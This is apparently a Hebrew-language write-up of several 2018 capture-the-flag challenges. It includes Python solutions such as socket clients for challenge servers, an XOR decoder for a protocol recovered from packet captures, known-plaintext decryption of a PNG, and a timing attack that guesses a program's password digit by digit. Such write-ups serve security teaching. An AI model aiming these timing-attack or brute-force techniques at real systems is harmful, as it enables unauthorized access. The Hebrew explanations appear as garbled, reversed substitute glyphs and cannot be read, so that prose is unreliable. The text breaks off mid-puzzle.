 ˫˧ˣˣ˸ˢ ˸˞ ˯˧˲ˡˬˣ ˸ˣ˶˰ˢ˟ ˫˧ˡ˰˴ˢ ˧˶˥˞ ˟˵ˣ˰ ˧ˮ˷ˢ ˵˪˥ˢˣ ,˸ˣ˶˰ˢˢ ˪˩ ˸˞ ˞˶ˣ˵ ˭ˣ˷˞˶ˢ ˵˪˥ˢ

.˫˧ˬ˧˞˸ˬˢ :˪˟˵ˮ ,˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ ˫˞ 
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˶ˠ˸˞ 4: Ping Pong )˸˧˧˶ˣˠ˦˵ Networking ,25 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

I bet you're not fast enough to defeat me. 

I'm at: nc 35.157.111.68 10140 

:˸˶˷˪ ˶˟˥˸ˮ 

 

 ˫˞ .˶˥˞ ˶˲˯ˬ ˷˵˟ˬ ˞ˣˢ ,˸˞ˤ ˫˧˷ˣ˰ ˣˮ˞ ˶˷˞˩ .˧ˢ˷˪˩ ˧˞˶˵˞ ˶˲˯ˬ ˣ˪ ˥˪˷ˮ˷ ˷˵˟ˬ ˸˶˷ˢ

.˶ˣ˟˧˥ˢ ˸˞ ˶ˠˣ˯ ˸˶˷ˢ ,˧ˡˬ ˸˧˦˧˞ ˢ˟ˣˠ˸ˢ  ˣˮ˥ˮ˞˷ ˭˟ˣˬ˩ ˟ˣ˸˩ˮ ˭˩˪ˣ ˸˧ˮˡ˧ ˸ˣ˟ˣ˷˸ ˥ˣ˪˷˪ ˫˧˴ˣ˶ ˞˪

:ˣˮ˶ˣ˟˰ ˸˞ˤ ˢ˷ˣ˰˷ ˦˲˧˶˵˯ 

 import  socket  

import  time  

import  re  

 

 

s = socket . socket ()           

 

reg = re . compile ( '^.+: ([ \ d]+) \ n$' )  

 

try :  

    port = 10140                

 

    s. connect (( '35.157.111.68' ,  port ))  

 

    start_time = time . time ()  

    print  ( s. recv ( 9))  #Read the "Welcome! \ n"  

    while  True :  

        msg = ( s. recv ( 1024 )). decode ( "utf - 8" )  

        print  ( msg)  

        match = reg . match ( msg)  

        if  match :  

            num = match . group ( 1)  

            print  ( num)  

            s. send ( str . encode ( num + " \ n" ))  

        else :  

            break  

    print ( " ---  %s seconds --- "  % ( time . time ()  -  start_time ))  

     

             

except :  

    raise  

finally :  

    s. close ()   

 ˥˪ˣ˷ ˤ˞ˣ ˶˲˯ˬˢ ˸˞ ˳˪˥˪ ˧ˡ˩ ˧˶˪ˣˠ˶ ˧ˣ˦˧˟˟ ˷ˬ˸˷ˬ ˦˲˧˶˵˯ˢ:˸˶˷ˢ ˪˞ ˢ˶ˤ˥ ˣ˸ˣ˞ 
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re . compile ( '^.+: ([ \ d]+) \ n$' )  

 ˸ˣ˩˧˶˴ ˭˩ˬ ˶˥˞˪ ˶˷˞˩ (+) ˶˸ˣ˧ ˣ˞ ˸˥˞ ˫˰˲ ˰˧˲ˣˬ˷ (.) ˣ˸ ˪˩˟ ˢ˪˧˥˸ˬ˷ ˢ˶ˣ˷˪ ˫˧˞˸ˬ ˢˤˢ ˧ˣ˦˧˟ˢ

) ˶˸ˣ˧ ˣ˞ ˸˥˞ ˢ˶˲˯ ,( ) ˥ˣˣ˶ ˤ˞ˣ (:) ˫˧˧˸ˡˣ˵ˮ ˰˧˲ˣˢ˪[\d]+) ˢ˶ˣ˷ ˸ˡ˧˶˧ˣ (\n "$"ˣ "^" ˫˧ˮˬ˧˯ˢ .(

,ˢ˶ˣ˷ ˱ˣ˯ˣ ˸˪˧˥˸ ˫˧˪ˬ˯ˬ ˪ ˟˧˟˯ˬ ˫˧˧˶ˠˣ˯ˢˣ-"[\d]+.˳˪˥˪ ˢ˴˶ˮ˷ ˧ˣ˦˧˟ˢ ˣˢˤ˷ ˫˧ˮˬ˯ˬ " 

.˶˸ˣ˧ ˢ˪˧˰˧ ˢ˴˧˶ ˠ˧˷ˢ˪ ˧ˡ˩ ˷˞˶ˬ ˫˧˪˲ˬ˵ˬ ˣˮ˥ˮ˞ ˧ˣ˦˧˟ˢ ˸˞ 

:˪˟˵ˮˣ ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ 

 

 ˧ˣ˦˧˟ˢ ˪˰ ˶˸ˣˣ˪ ˶˷˲˞ ˢ˧ˢ ,ˢ˟ˣ˷˸ ˢ˸ˣ˞ ˸˞ ˶˧ˤ˥ˬ ˡ˧ˬ˸ ˸˶˷ˢ˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ ,ˡ˟˰˧ˡ˟

˶˧˥ˬ˟) ˸ˣ˧ˮ˷ ˢˬ˩ ˨ˣ˯˥˪ˣ ˧˶˪ˣˠ˶ˢ " ˪˰ ˠˣ˪˧ˡ ˧ˡ˧ ˪˰ (˸ˣ˷˧ˬˠˣ ˸ˣ˞˧˶˵ ˪˷Good, the next is:  ˢ˴˧˲˵ˣ "

 ˣ˸ˣ˞˟ ˪˧˥˸ˬ ˡ˧ˬ˸ ˶˲˯ˬˢ˷ ˢ˞˶ˮ ,˸ˣ˶˥˞ ˫˧˪˧ˬ˟) ˶˧ˤ˥ˢ˪ ˨˧˶˴˷ ˶˲˯ˬˢ ˪˞ ˢ˶˧˷˧offset  ˸˪˧˥˸ˬ

.(ˢ˶ˣ˷ˢ 
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˶ˠ˸˞ 5: Protocol )˸˧˧˶ˣˠ˦˵ Networking ,30 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

Hi there! 

We need to extract secret data from a special file server. 

We don't have much details about this server, but we did manage to intercept traffic containing 

communication with the server. 

We also know that this secret file's path is: /usr/7Op_sECreT.txt 

You can find the sniff file here. 

Please tell us what the secret is! 

Good luck! 

 ˳˟ˣ˵ ˞ˣˢ ˪˟˵˸ˬ˷ ˳˟ˣ˵ˢpcap  ˢ˥˧˸˲˪ ˭˸˧ˮˣ ˸˷˶ ˸˶ˣ˟˰˸ ˸ˠ˴ˢ˪ ˷ˬ˷ˬ˷ ˸ˮ˩ˣ˸ ˸ˣ˰˴ˬ˞˟

WireShark. 

 

˟ ˭ˣ˧˰ˣ ˸ˣˮˣ˷ˢ ˸ˣ˰ˡˣˢˢ ˪˰ ˤ˧˶ˤ ˶˟˰ˬ-payload :˸ˮ˧˧ˮ˰ˬ ˢ˰ˡˣˢ ˢ˪ˠˬ 

 

-sHELLO .˭˧˰˪ ˡ˧ˬ ˳˲ˣ˵ ˟ ˢ˶˧˥˟ˣ ˧ˮˬ˧ ˵˧˪˵ ˸ˣ˰˴ˬ˞˟ ˢˤˢ ˶ˣ˟˧˥ˢ ˪˷ ˸ˣ˰ˡˣˢˢ ˪˩ ˧˶˥˞ ˟ˣ˵˰˪ ˭˸˧ˮ-

Follow TCP Stream: 

https://s3.eu-central-1.amazonaws.com/csh-static/protocol/8ecae925c031f0a91d4f7a3934dee5974d39bb7f50d1522e3001fd27.pcap
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 ˳˟ˣ˵ ˷˵˟ˬ ˷ˬ˸˷ˬˢ ˣ˟˷ ˧˯˧˯˟ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮˢ .ˡˡˣ˵ˬ ˣ˸ˣ˞ ˪˟˵ˬˣ-XOR  ˨˪ˢˬ˟

 ˸˪ˣ˰˲ ˪˧˰˲ˢ˪ ˨˧˶˴ ˢ˞˶ˮ˩˷ ˤˬ˶ˬ ˸ˣ˶˷˵˸ˢˢXOR  ˭˩ˣ˸ ˪˰ ˸˶˷ˢˬ ˪˟˵˸ˬ˷ ˥˸˲ˬˢ ˸ˣ˰˴ˬ˞˟

ˢ ˸˞ ˪˟˵˪ ˧ˡ˩ ˳˟ˣ˵ˢ-plaintext. 

ˣˮˬ˴˰˟ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˞ ˸ˣ˵˥˪ ˢ˯ˮˮ :ˢ˞˟ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˪˟˵ˮˣ (˞˟ˢ ˡˣˬ˰˟ ˣ˸ˣˬ˪˷˟ ˱˶ˣ˴ˬ ˡˣ˵ˢ) 

  

 ˢ˟˶ˢ ˢ˶ˣ˴˟ ˟ˣ˸˩˪ ˶˷˲˞ ˡˣ˵ˢ ˸˞ ˸ˣ˞˶˪ ˢ˟ˣ˦ ˸ˣˮˬˡˤˢ ˸˞ˤ ˪˟˞ ,ˢ˶˴˵ ˶˸ˣ˧Context Manager 

ˢ ˪˷ ˢ˶˧ˠ˯˟ˣ ˢ˥˧˸˲˟ ˢ˧˧˵ˮ ˢ˶ˣ˴˟ ˦ˣ˪˷˪ ˸ˮˬ ˪˰ ˢ˪ˣ˰˲˟-Socket. 

 ˸˵˪˥ˬProtocol  ˸˧˧˴˵ˮˣ˲˟ ˸ˣ˥ˮˢ ˢˬ˩ ˫˰) ˸˶˷ˢ ˫˰ ˸˶ˣ˷˵˸ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ ˸˷ˬˬˬrecv .(

 ˸˧˧˴˵ˮˣ˲decode_msg ˪˥˟ ˢ˰ˡˣˢˢ ˪˰ ˶˟˰ˬ ˧ˡ˧ ˪˰ ˢ˰ˡˣˢˢ ˸˞ ˸˥ˮ˰˲ˬ ˢ˷˧˷ ˞ˣˢ ˵˪˥ ˪˩) ˫˧˵

 ˫˧˸˟-  ˪˷ ˸˧˪˧˥˸0x  ˰ˣ˴˧˟ˣ (˰ˡ˧ˬ ˪˷ ˫˧˸˟ ˢ˰˟˶˞ˣXOR .˫ˡˣ˵ˢ ˟˪˷˟ ˪˟˵˸ˢ˷ ˥˸˲ˬˢ ˫˰ 

import  socket ,  re  

 

class  Protocol ( object ):  

    def  __init__ ( self ,  ip ,  port ):  

        self . ip = ip  

        self . port = port  

        self . msg_id = 0 

        self . recv_reg =  

           re . compile ( '^(?P<id> \ d+) (?P<len> \ d+) (?P<payload>.+)$' )  

 

    def  __enter__ ( self ):  

        self . socket = socket . socket ()  

        self . socket . connect (( self . ip ,  self . port ))  

        return  self  
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    def  __exit__ ( self ,  * args ):  

        self . socket . close ()  

 

    def  log ( self ,  msg):  

        print ( msg)  

 

    def  send ( self ,  msg):  

        self . log ( ">> {}" . format ( msg))  

        self . msg_id += 1 

        full_msg = "{} {} {} \ n" . format ( self . msg_id ,  len ( msg),  msg)  

        self . socket . send ( full_msg . encode ( 'UTF - 8' ))  

 

    def  recv ( self ):  

        msg = self . socket . recv ( 1024 )  

        match = self . recv_reg . match ( msg. decode ( 'UTF - 8' ))  

        if  match :  

            assert ( int ( match . group ( "id" ))  == self . msg_id )  

            assert ( int ( match . group ( "len" ))  == 

len ( match . group ( "payload" )))  

            self . log ( "<< {}" . format ( match . group ( "payload" )))  

            return  match . group ( "payload" )  

        raise  Exception ( "Unexpected format: {}" . format ( msg))  

 

    def  decode_msg ( self ,  xor ,  msg):  

        chunk_len = len ( "0x" )  + len ( xor )  

        frame = bytearray ()  

        for  i in  range ( 0,  len ( msg),  chunk_len ):  

            s = msg[ i : i + chunk_len ]  

            chunk_val = int ( s,  16)  

            after_xor = ( chunk_val ^  int ( xor ,  16))  

            for  b in  ( after_xor . to_bytes ( len ( xor )  //  2,  

                                       byteorder ='big' ,  

                                       signed =True )  ):  

                frame . append ( b)  

        return  frame  

         

with  Protocol ( '35.157.111.68' ,  20001 )  as  p:  

    msg = p. recv ()  

    assert ( msg == "Welcome!" )  

    p. send ( "HELLO" )  

    msg = p. recv ()  

    assert ( msg == "HELLO" )  

    p. send ( "XOR")  

    xor_val = p. recv ()  

    p. send ( "/usr/7Op_sECreT.txt" )  

    encrypted_file = p. recv ()  

    print  ( "Decoded Message:" )  

    print  ( p. decode_msg ( xor_val ,  encrypted_file ))  
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˶ˠ˸˞ 6: PNG++ )˸˧˧˶ˣˠ˦˵ Logic ,30 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

This image was encrypted using a custom cipher. We managed to get most of its code here 

Unfortunately, while moving things around, someone spilled coffee all over key_transformator.py. 

Can you help us decrypt the image?  

:˞ˣˢ ˢˮˣˬ˸ˢ ˸ˮ˲˴ˢ˪ ˡˣ˵ˢ 

import  key_transformator  

import  random  

import  string  

 

key_length = 4 

 

def  generate_initial_key ():  

    return  '' . join ( random . choice ( string . ascii_uppercase )  for  _ in  

range ( 4))  

 

def  xor ( s1 ,  s2 ):  

    res = [ chr ( 0)]* key_length  

    for  i in  range ( len ( res )):  

        q = ord ( s1 [ i ])  

        d = ord ( s2 [ i ])  

        k = q ^  d 

        res [ i ]  = chr ( k)  

    res = '' . join ( res )  

    return  res  

 

def  add_padding ( img ):  

    l = key_length -  len ( img )%key_length  

    img += chr ( l )* l  

    return  img  

 

with  open ( 'flag.png' ,  'rb' )  as  f :  

    img = f . read ()  

 

img = add_padding ( img )  

key = generate_initial_key ()  

 

enc_data = ''  

for  i in  range ( 0,  len ( img ),  key_length ):  

    enc = xor ( img [ i : i +key_length ],  key )  

    key = key_transformator . transform ( key )  

    enc_data += enc  

 

with  open ( 'encrypted.png' ,  'wb' )  as  f :  

    f . write ( enc_data )  

 ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˪˰ ˶˟ˣ˰ ˡˣ˵ˢ ˭˩ˬ ˶˥˞˪ˣ ,˫˧˸˟ ˢ˰˟˶˞ ˪˷ ˥˸˲ˬ ˪˶ˠˣˬ ˸˧˷˞˶˷ ˫˧˞ˣ˶ ˣˮ˥ˮ˞ ˶˷˞˩

 ˰˴˟ˬˣXOR .ˢ˪ˣ˰˲ˢ ˪˰ ˶ˤˣ˥ˣ ˥˸˲ˬˢ ˪˰ ˢ˧˴˪ˣ˲˧ˮˬ ˰˴˟ˬ ,˥˸˲ˬˢ ˫˰ 

http://35.194.63.219/csa_2018/png++/_yducofbudypr/encrypted.png
http://35.194.63.219/csa_2018/png++/encrypt.py
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 ˸˞˶˵ˮ ˢˬ˴˰ ˢˮˣˬ˸ˢencrypted.png  ˣˮ˧˞ ˳˟ˣ˵ˢ˷ ˢ˞˧ˠ˷ ˫˧˪˟˵ˬ ,ˢ˸ˣ˞ ˥ˣ˸˲˪ ˫˧˯ˮˬ ˶˷˞˩ˣ

.˫˧˞˸ˬˢ ˦ˬ˶ˣ˲˟  ˦ˬ˶ˣ˲ ,ˣˮ˪ˤˬ˪PNG  ˪˧˩ˬHeader  ˥˸˲ˬ ˣˢˬ ˷˥ˮ˪ ˭˸˧ˮ ˣ˸ˣ˰˴ˬ˞˟˷ ,˷˞˶ˬ ˰ˣˡ˧

.ˢˮ˲˴ˢˢ 

 
 ˧˲˪ˢˤˢ ˶˸˞ˢ: 

A PNG file consists of a PNG signature followed by a series of chunks .   

  

The first eight bytes of a PNG file always contain the following ( decimal )  

values :   

   137  80 78 71 13 10 26 10  

 ˨˶ˣ˰˟ ˣˮ˪˟˧˵˷ ˳˟ˣ˵ˢ ˸˞ ˵ˣˡ˟ˮHex: 

 

 ˰˴˟ˮ ,˧˶ˣ˵ˬˢ ˥˸˲ˬˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰XOR :˭˵˸ˢ ˧˲˪ ˫˷ ˸ˣ˧ˢ˪ ˶ˣˬ˞˷ ˨˶˰ˢ ˪ˣˬ ˟ˣ˷ 

 

 ˞ˣˢ ˥˸˲ˬˢ˷ ˢ˞˶ˮNLET )0x4e 0x4c 0x45 0x54˟˷ ˫ˠ ˫˧˞ˣ˶ ˣˮ˥ˮ˞ .(-Chunk  ˨˲ˢ ˥˸˲ˬˢ ,˞˟ˢ

 ˸ˣ˧ˢ˪άлȄпŦ лȄпŘ лȄпс лȄррέ˟ ˨˶˰ ˪˩ ˣˮˬˡ˧˵ ˶ˬˣ˪˩ ,-1 . 

:˥ˣˮ˰˲ ˰˴˟˪ ˸ˮˬ ˪˰ ˢˮ˲˴ˢˢ ˡˣ˵˟ ˫˧˪˵ ˫˧˧ˣˮ˧˷ ˶˲˯ˬ ˰˴˟ˮ 

# (Using original functions)  

 

def  transform ( key ):  

    return  "" . join ( map( lambda  x :  chr (( ord ( x)+ 1)  % 256 ),  key ))  

 

with  open ( 'encrypted.png' ,  'rb' )  as  f :  

    img = f . read ()  

 

key = "NLET"  

 

dec_data = ''  

for  i in  range ( 0,  len ( img ),  key_length ):  

    dec = xor ( img [ i : i +key_length ],  key )  

    key = transform ( key )  

    dec_data += dec  

 

with  open ( 'flag.png' ,  'wb' )  as  f :  

    f . write ( dec_data )  

 
  

http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
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:ˢ˞˴ˣ˸ˢˣ 
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˶ˠ˸˞ 7: Test my Patience )˸˧˧˶ˣˠ˦˵ Surprise ,50 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

Hi there, 

We found This executable on the local watchmaker's computer. 

It is rumored that somehow the watchmaker was the only person who succeeded to crack it. 

Think you're as good as the watchmaker? 

Note: This file is not malicious in any way 

 ˶˧˩ˤˢ˪ ˟ˣ˦ ˭ˬˤ ˢˤ .˭˧ˬ˞ ˰ˬ˷ˮ ."ˢ˵ˤˣˮ ˣˮ˧˞ ˢˤ ˳˟ˣ˵" ˭ˣˮˠ˯˟ ˢ˶ˢ˴ˢ ˸ˣ˞˶˪ ˰˧ˠ˶ˬ ˡ˧ˬ˸ ,˪˩ ˫ˡˣ˵

˧˪˩ ,ˢ˴˶ˢ ˧˴˟˵ ˡ˧˶ˣˢ˪ ˫˰˲ ˞˪ ˞˴ˣ˧ ˫˧˶ˠ˸˞ ˸˶ˠ˯ˬ˟˷ ˨ˣ˸˟ ˪˩ˢ ˪˧˰˲ˢ˪ ˡˣ˞ˬ ˳˪ˬˣˬˣ 'ˡ˩ˣ ˸ˣ˧˶˲˯ ,˫

.˞ˣ˟˸ ˞˪˷ ˢ˶˴ ˪˩ ˪˰ ,˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ 

:ˢ˞˶ˮˣ ˳˟ˣ˵ˢ ˸˞ ˳˧˶ˮ 

 

 ˶˲˯ˬ ˧˶˥˞ .ˣˢˬ ˷˥ˮ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ˣ ˣˢ˷˪˩ ˶˲˯ˬ ˪˰ ˸˟˷ˣ˥ ˢˮ˩ˣ˸ˢ ,˫˧˷ˣ˥˧ˮ ˵˥˷ˬ˟ ˶˟ˣˡˬ

 ˫˧˸˧˰˪˷ ˸ˣ˞˶˪ ˶˷˲˞ ('ˡ˩ˣ ˫˧˧˵ˣ˥ ˞˪ ,˫˧˧˪˧˪˷ ,˫˧˶˴˵ ,˫˧˩ˣ˶˞) ˫˧˷ˣ˥˧ˮ ˢ˟˶ˢ ˸˧˯˥˧ ˢˮ˩ˣ˸˪ ˥˵ˣ˪

˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮ ,˶ˠ˸˞ˢ ˪˷ ˫˷ˢ ˫˰ ˡ˥˧ .ˢ˟ˣ˷˸ ˶˧ˤ˥ˢ˪ ˭ˬˤ-Timing Attack. 

 ˢ˶˲˯ˢ ˫˞ .˶˥˟ˮˢ ˶˲˯ˬˢ ˪ˣˬ ˣ˸ˣ˞ ˢˣˣ˷ˬ ˞˧ˢ ,˷ˣ˥˧ˮˢ ˸˞ ˸˵ˡˣ˟ ˢˮ˩ˣ˸ˢ ˶˷˞˩ :˶˴˵ ˶˟˯ˢ

˟ˣˬ˩ .˭ˬˤ ˶˸ˣ˧ ˸˴˵ ˥˵˸ ˢ˞ˣˣ˷ˢˢ ,ˢˮˣ˩ˮˢ ˢ˟ˣ˷˸ˢ ˪˷ ˢˮˣ˷˞˶ˢ ˢ˶˲˯˪ ˢˣˣ˷ ˷ˣ˥˧ˮˢ ˪˷ ˢˮˣ˷˞˶ˢ ˭

.ˢˡ˧ˡˬˢ ˪˰ ˪˵ˢ˪ ˸ˮˬ ˪˩ ˸˧˸ˣ˩˞˪ˬ ˢ˧˧ˢ˷ˢ ˫˧˲˧˯ˣˬ ˫˧˸˧˰˪ ,ˢˤˢ ˠˣ˯ˢˬ ˫˧˶ˠ˸˞˟˷ 

 ˸ˣ˶˲˯ˢ ˪˩ ˸˞ ˢ˯ˮ˧˷ ˦˲˧˶˵˯ ˟ˣ˸˩ˮ0-9.ˢ˞˟ˢ ˢ˶˲˯˪ ˨˧˷ˬ˧ˣ ,˦˞˪ ˧˩ˢ ˢ˶ˤ˥ ˢ˞˴ˣ˸ˢ ˧˸ˬ ˵ˣˡ˟˧ , 

:˪˟˵ˮˣ (˞˟ˢ ˱ˡ˟ ˞˪ˬˢ ˡˣ˵ˢ) ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ 

 

https://s3.eu-central-1.amazonaws.com/csh-static/test_my_patience/abe7e6c48b92ccaac3a406082b7f9f02c4b75124e0bcd920680976dd2cb157cb.exe
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:ˡˣ˵ˢ 

from  subprocess import  Popen,  PIPE 

import  time  

 

p = Popen([ 'tmp.exe' ],  stdout =PIPE,  stderr =PIPE,  stdin =PIPE,  shell =True )  

print  p. stdout . readline ()  

print  p. stdout . readline ()  

 

answer = ""  

 

searching = True  

while  searching :  

    time_arr = []  

    for  i in  xrange ( 10):  

        start = time . time ()  

        p. stdin . write ( answer + str ( i ))  

        p. stdin . write ( " \ n" )  

        line = p. stdout . readline ()  

        end = time . time ()  

        print  line . rstrip ()  

        if  not  "Wrong"  in  line :  

            answer += str ( i )  

            searching = False  

            break  

        time_arr . append ( end - start )  

    print  time_arr  

    if  searching :  

        answer += str ( time_arr . index ( max( time_arr )))  

        print  "WIP answer: {}" . format ( answer )  

print  answer  
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˶ˠ˸˞ 8 :0120343536 )˸˧˧˶ˣˠ˦˵ Logic ,60 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

flag{IAAAA_$AYP_%CP_C_WIIX_BYWAOX} 

Not so fast... 

They say the only place where flags come before work is the dictionary, ours is no different 

Note: flag letters are all capital 

 ˦˰ˬ˩ ˪˷ ˢˬ˧˷˶ ˪˧˩ˬ ˭ˣ˪˧ˬˢ40,000 .˪ˠˡˢ ˸˞ ˥˴˲˪ ˸ˮˬ ˪˰ ˭ˣ˪˧ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˯ˮˮ .˫˧˪˧ˬ  ˸˧˷˞˶

ˬ ˪ˣˡˠ ˨˶ˣ˞˟ ˫˧˪˧ˬˬ ˫˪˰˸ˢ˪ ˶˷˲˞) ˨˶ˣ˞ ˧˲˪ ˭ˣ˪˧ˬ˟ ˫˧˪˧ˬˢ ˸˞ ˭˧˧ˬˮ-6 :(˪ˠˡ˟ ˢ˪˞˩ ˭˧˞ ˧˩ 

 msg = "IAAAA_$AYP_%CP_C_WIIX_BYWAOX" 

 

d = defaultdict ( list )  

with  open ( "dictionary.txt" )  as  f :  

    for  line in  f :  

        line = line . rstrip ()  

        l = len ( line )  

        if  l <= 6:  

            d[ l ]. append ( line )  

.˪ˠˡˢ ˪˷ ˸˧ˮ˟˸˪ ˸ˣˬ˧˞˸ˬ˷ ˭ˣ˪˧ˬ˟ ˫˧˪˧ˬ ˷˲˥˪ ˪˧˥˸ˮ ˸˰˩  ˞˧ˢ ˱ˣ˵˸˪ ˧˞ˡ˩˷ ˢˮˣ˷˞˶ˢ ˢ˪˧ˬˢ

IAAAA˶˧ˡˮ˷ ˭ˣˣ˧˩ˬ ,  ˫˰ ˫˧˪˧ˬ ˞ˣ˴ˬ˪4 .˸ˣ˲ˣ˴˶ ˸ˣˢˤ ˸ˣ˧˸ˣ˞ 

for  w in  d[ 5]:  

    if  ( w[ 1]  == w[ 2]  == w[ 3]  == w[ 4]):  

        print  ( w)  

# CEEEE, OHHHH 

 ˪˰ ˶ˬˢˮOHHHH ˸ˣ˞˶˪ ˶˧ˡˮ ˧˩ ,CEEEE .˦˲˷ˬ ˸˪˧˥˸˟ 

IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH ?H?? ???  ? ?OO? ???H?? 

 ˞˧ˢ ˱ˣ˵˸˪ ˧˞ˡ˩˷ ˢ˞˟ˢ ˢ˪˧ˬˢWIIX: 

for  w in  d[ 4]:  

    if  ( w[ 1]  == w[ 2]  and  w[ 0]  !=  w[ 3]  and  w[ 2]  == 'O' ):  

        print  ( w)  

# POOR 

:ˢˬ˧˞˸ˬ˷ ˸˥˞ ˢ˪˧ˬ ˵˶ ˣˮ˞˴ˬ 

IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH ?H?? ???  ? POOR ??PH?R 

 ˸˞ ˷˲˥ˮBYWAOX:  

for  w in  d[ 6]:  

    if  ( w[ 2]  == 'P'  and  w[ 3]  == 'H'  and  w[ 5]  == 'R' ):  

        print  ( w)  

# CIPHER  
 

http://35.194.63.219/csa_2018/0120343536/_aijudupishwv/dictionary.txt
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:˸˥˞ ˢ˪˧ˬ ˵˶ ,˟ˣ˷ 

 IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH ?HI ? ???  ? POOR CIPHER 

˪ ˸˰˩-$AYP:  

for  w in  d[ 4]:  

    if  ( w[ 1]  == 'H'  and  w[ 2]  == 'I' ):  

        print  ( w)  

#CHIC, OHIO, THIS  

 ˶˥˟ˮ-˟THIS :˦˲˷ˬ˟ ˟ˣ˦ ˧˩ˢ ˸˶ˡ˸˯ˬ˷ ˢ˪˧ˬˢ ˶ˣ˸˟ 

IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH THIS ??S ? POOR CIPHER 

 ˨˶ˣ˞˟ ˫˧˪˧ˬ ˢ˟˶ˢ ˭˧˞1: 

for  w in  d[ 1]:  

    if  ( w[ 0]  !=  'I' ):  

        print  ( w)  

#A, C  

 ˪˰ ˨˪ˮ-A  ˢˤ ˢˬ)C(? 

:IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH THIS ?AS A POOR CIPHER 

:ˢˮˣ˶˥˞ˢ ˢ˪˧ˬˢ ˸˞ ˷˲˥˪ ˪ˣ˩˧ ˣ˧˷˩˰ ˡ˰ ˷˥˧ˮ ˞˪˷ ˧ˬˣ 

for  w in  d[ 3]:  

    if  ( w[ 1]  == 'A'  and  w[ 2]  == 'S' ):  

        print  ( w)  

#WAS 

:ˣˮ˪˟˧˵ 

IAAAA_$AYP_%CP_C_WIIX_BYWAOX 

OHHHH_THIS_WAS_A_POOR_CIPHER 
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˶ˠ˸˞ 9: Puzzle )˸˧˧˶ˣˠ˦˵ Programming ,70 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˸ˣ˞˶ˣˢ 

 At last, we've found you! We must solve this puzzle, and according to the prophecy - you are the one to solve it. 

This puzzle is weird. It consists of a board with 10 columns and 10 rows, so there are 100 pieces.Yet, each piece is weird! It has four 

'slices' - a top slice, a right slice, a bottom slice and a left slice. Each slice consists of a number. For example, consider this piece: 

------------  

|  \  12 /  |  

| 5 \   / 3 |  

|   /  \    |  

|  / 4  \   |  

------------  

Its top is 12, its right is 3, its bottom is 4 and its left is 5. For the puzzle to be solved, all pieces must be sorted into the board, where 

each slice is equal to its adjacent slice. In addition, a slice that has no adjacent slice (that is, the slice is a part of the board's border), 

must be 0. Other slices are never 0. For example, the following board (with 4 pieces) is valid: 

------------------------  

|  \  0  /  ||  \  0  /  |  

| 0 \   / 9 || 9 \   / 0 |  

|   /  \    ||   /  \    |  

|  / 17 \   ||  / 11 \   |  

------------------------  

-------- ----------------  

|  \  17 /  ||  \  11 /  |  

| 0 \   / 6 || 6 \   / 0 |  

|   /  \    ||   /  \    |  

|  / 0  \   ||  / 0  \   |  

------------------------  

In the board above, all the border slices are equal to 0. Consider the top-left piece. Its right slice is equal to 9, and its adjacent slice 

(the left slice of the top-right piece) also equals 9. 

 

Unfortunately, we have the pieces in a shuffled order. They are given in the following format: 

cube_id, [slices]; cube_id, slices; ... cube_id, slices 

Where cube_id is a number from 0 to 99, and slices include the numbers in the order: top, right, bottom, left. For instance, consider 

the following shuffled board: 

------------------------------------  

|  \  0  /  ||  \  0  /  ||  \  5  /  |  

| 18 \   / 12|| 19 \   / 7 || 19 \   / 0 |  

|   /  \    ||   /  \    ||   /  \    |  

|  / 2  \   ||  / 6  \   ||  / 0  \   |  

------------------------------------  

------------------------------------  

|  \  6  /  ||  \  14 /  ||  \  7  /  |  

| 10 \   / 2 || 10 \   /  0|| 0 \   / 12|  

|   /  \    ||   /  \    ||   /  \    |  

|  / 9  \   ||  / 5  \   ||  / 0  \   |  

------------------------------------  
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------------------------------------  

|  \  0  /  ||  \  0  /  ||  \  0  /  |  

| 7 \   / 0 || 7 \   / 17|| 17 \   / 0 |  

|   /  \    ||   /  \    ||   /  \    |  

|  / 18 \   ||  / 9  \   ||  / 14  \   |  

------------------------------------  

 

A string describing the above board is the following one: 

'0,[0, 12, 2, 18]; 1,[0, 7, 6, 19]; 2,[5, 0, 0, 19]; 3,[6, 2, 9, 10]; 4,[14, 0, 5, 10]; 5,[7, 12, 0, 0]; 6,[0, 0, 18, 7]; 7,[0, 17, 9, 7]; 8,[0, 0, 14, 17]' 

 

We need you to solve the puzzle! 

 

Provide us a string that looks exactly as follows: 

cube_id, times_to_rotate_clockwise; cube_id, times_to_rotate_clockwise;... cube_id, times_to_rotate_clockwise 

 

For example, a solution string will look like this: 

2,2; 1,0; 6,0; 4,2; 3,0; 0,1; 8,2; 7,2; 5,3 

 

The above string corresponds to the following (valid) puzzle: 

------------------------------------  

|  \  0  /  ||  \  0  /  ||  \  0  /  |  

| 0 \   / 19|| 19 \   / 7 || 7 \   / 0 |  

|   /  \    ||   /  \    ||   /  \    |  

